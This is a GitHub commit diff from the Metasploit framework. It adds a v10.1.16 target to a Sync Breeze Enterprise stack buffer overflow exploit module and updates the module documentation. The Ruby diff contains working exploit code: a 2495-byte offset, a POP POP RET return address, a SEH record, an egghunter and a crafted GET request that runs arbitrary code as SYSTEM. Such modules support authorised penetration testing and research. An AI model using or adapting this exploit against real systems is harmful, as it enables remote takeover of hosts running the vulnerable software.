Skip to content

Commit e6c4fb1

Browse files
committed
Land rapid7#9269, Add a new target for Sync Breeze Enterprise GET BoF
Land rapid7#9269
2 parents 18f16e7 + f395e07 commit e6c4fb1

File tree

2 files changed

+54
-7
lines changed

2 files changed

+54
-7
lines changed

documentation/modules/exploit/windows/http/syncbreeze_bof.md

Lines changed: 10 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,8 +1,17 @@
11
## Vulnerable Application
22

3-
[Sync Breeze Enterprise](http://www.syncbreeze.com) versions up to v9.4.28 and v10.0.28 are affected by a stack-based buffer overflow vulnerability which can be leveraged by an attacker to execute arbitrary code in the context of NT AUTHORITY\SYSTEM on the target. The vulnerabilities are caused by improper bounds checking of the request path in HTTP GET requests and username value via HTTP POST requests sent to the built-in web server, respectively. This module has been tested successfully on Windows 7 SP1. The vulnerable applications are available for download at [Sync Breeze Enterprise v9.4.28](http://www.syncbreeze.com/setups/syncbreezeent_setup_v9.4.28.exe) and [Sync Breeze Enterprise v10.0.28](http://www.syncbreeze.com/setups/syncbreezeent_setup_v10.0.28.exe).
3+
[Sync Breeze Enterprise](http://www.syncbreeze.com) versions up to v9.4.28, v10.0.28, and v10.1.16
4+
are affected by a stack-based buffer overflow vulnerability which can be leveraged by an attacker
5+
to execute arbitrary code in the context of NT AUTHORITY\SYSTEM on the target. The vulnerabilities
6+
are caused by improper bounds checking of the request path in HTTP GET requests and username value
7+
via HTTP POST requests sent to the built-in web server, respectively.
8+
9+
This module has been tested successfully on Windows 7 SP1. The vulnerable applications are available
10+
for download at [Sync Breeze Enterprise v9.4.28](http://www.syncbreeze.com/setups/syncbreezeent_setup_v9.4.28.exe)
11+
and [Sync Breeze Enterprise v10.0.28](http://www.syncbreeze.com/setups/syncbreezeent_setup_v10.0.28.exe).
412

513
## Verification Steps
14+
615
1. Install a vulnerable Sync Breeze Enterprise
716
2. Start `Sync Breeze Enterprise` service
817
3. Start `Sync Breeze Enterprise` client application

modules/exploits/windows/http/syncbreeze_bof.rb

Lines changed: 44 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -15,17 +15,18 @@ def initialize(info = {})
1515
'Name' => 'Sync Breeze Enterprise GET Buffer Overflow',
1616
'Description' => %q{
1717
This module exploits a stack-based buffer overflow vulnerability
18-
in the web interface of Sync Breeze Enterprise v9.4.28 and v10.0.28, caused by
19-
improper bounds checking of the request in HTTP GET and POST requests
20-
sent to the built-in web server. This module has been tested
21-
successfully on Windows 7 SP1 x86.
18+
in the web interface of Sync Breeze Enterprise v9.4.28, v10.0.28,
19+
and v10.1.16, caused by improper bounds checking of the request in
20+
HTTP GET and POST requests sent to the built-in web server. This
21+
module has been tested successfully on Windows 7 SP1 x86.
2222
},
2323
'License' => MSF_LICENSE,
2424
'Author' =>
2525
[
2626
'Daniel Teixeira',
27-
'Andrew Smith', # MSF support for v10.0.28
28-
'Owais Mehtab' # Original v10.0.28 exploit
27+
'Andrew Smith', # MSF support for v10.0.28
28+
'Owais Mehtab', # Original v10.0.28 exploit
29+
'Milton Valencia (wetw0rk)' # MSF support for v10.1.16
2930
],
3031
'DefaultOptions' =>
3132
{
@@ -53,6 +54,12 @@ def initialize(info = {})
5354
'Offset' => 780,
5455
'Ret' => 0x10090c83 # JMP ESP [libspp.dll]
5556
}
57+
],
58+
[ 'Sync Breeze Enterprise v10.1.16',
59+
{
60+
'Offset' => 2495,
61+
'Ret' => 0x1001C65C # POP # POP # RET [libspp.dll]
62+
}
5663
]
5764
],
5865
'Privileged' => true,
@@ -102,6 +109,9 @@ def get_target_name
102109
when /10\.0\.28/
103110
print_status('Target is 10.0.28')
104111
return targets[2]
112+
when /10\.1\.16/
113+
print_status('Target is 10.1.16')
114+
return targets[3]
105115
else
106116
nil
107117
end
@@ -156,6 +166,34 @@ def exploit
156166
'password' => "rawr"
157167
}
158168
)
169+
when targets[3]
170+
target = targets[3]
171+
172+
eggoptions = {
173+
checksum: true,
174+
eggtag: rand_text_alpha(4, payload_badchars)
175+
}
176+
177+
hunter, egg = generate_egghunter(
178+
payload.encoded,
179+
payload_badchars,
180+
eggoptions
181+
)
182+
183+
sploit = payload.encoded
184+
sploit << rand_text_alpha(target['Offset'] - payload.encoded.length, payload_badchars)
185+
sploit << generate_seh_record(target.ret)
186+
sploit << hunter
187+
# Push the payload out of this buffer, which will make the hunger look for the payload
188+
# somewhere else that has the complete payload.
189+
sploit << make_nops(200)
190+
sploit << egg
191+
sploit << rand_text_alpha(9067 - sploit.length, payload_badchars)
192+
193+
send_request_cgi(
194+
'uri' => "/#{sploit}",
195+
'method' => 'GET'
196+
)
159197
else
160198
print_error("Exploit not suitable for this target.")
161199
end

0 commit comments

Comments
 (0)